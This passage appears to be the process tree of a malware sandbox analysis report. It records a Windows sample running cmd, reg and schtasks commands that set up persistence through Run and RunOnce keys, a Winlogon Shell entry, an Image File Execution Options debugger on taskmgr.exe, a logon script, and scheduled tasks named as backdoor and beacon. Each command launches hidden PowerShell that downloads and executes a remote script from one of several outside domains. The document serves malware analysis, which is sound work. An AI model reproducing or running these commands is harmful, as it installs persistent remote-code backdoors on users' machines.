                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:420
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                      PID:5588
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                    PID:5052
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                      PID:6452
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2492
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                        PID:6792
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3600
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                          PID:2044
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3644
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies WinLogon for persistence
                                                                                                                                                                                            PID:4920
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:6796
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                            PID:3648
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:7148
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                              PID:6208
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2168
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                PID:1020
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:6952
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                  PID:2556
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:7068
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                                                                                                  PID:2668
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:5292
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                  PID:5388
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                PID:3700
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                  PID:6976
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:4584
                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                    PID:2704
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:2068
                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                      PID:6184
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:5664
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                        PID:212
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:884
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                          PID:4284
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:6672
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                            PID:3228
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:6072
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Modifies WinLogon for persistence
                                                                                                                                                                                                            PID:5524
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:7004
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /f
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                              PID:2368
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                            PID:1052
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                              PID:1508
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                            PID:3476
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin6668.net/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                              PID:5500
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                            PID:4044
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                                              PID:6020
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                            PID:7044
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:5388
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:6208
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Event Triggered Execution: Image File Execution Options Injection
                                                                                                                                                                                                                PID:3276
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5896
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Modifies WinLogon for persistence
                                                                                                                                                                                                                  PID:6496
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:5804
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /f
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                    PID:6164
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3640
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc onlogon /f
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                      PID:1584
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                    PID:1220
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet1.cc/load.ps1')\"" /sc minute /mo 5 /f
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                      PID:6588
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:2072
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                        PID:220
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:6128
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mu88a2.com/load.ps1')\"" /f
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                                                                          PID:6876
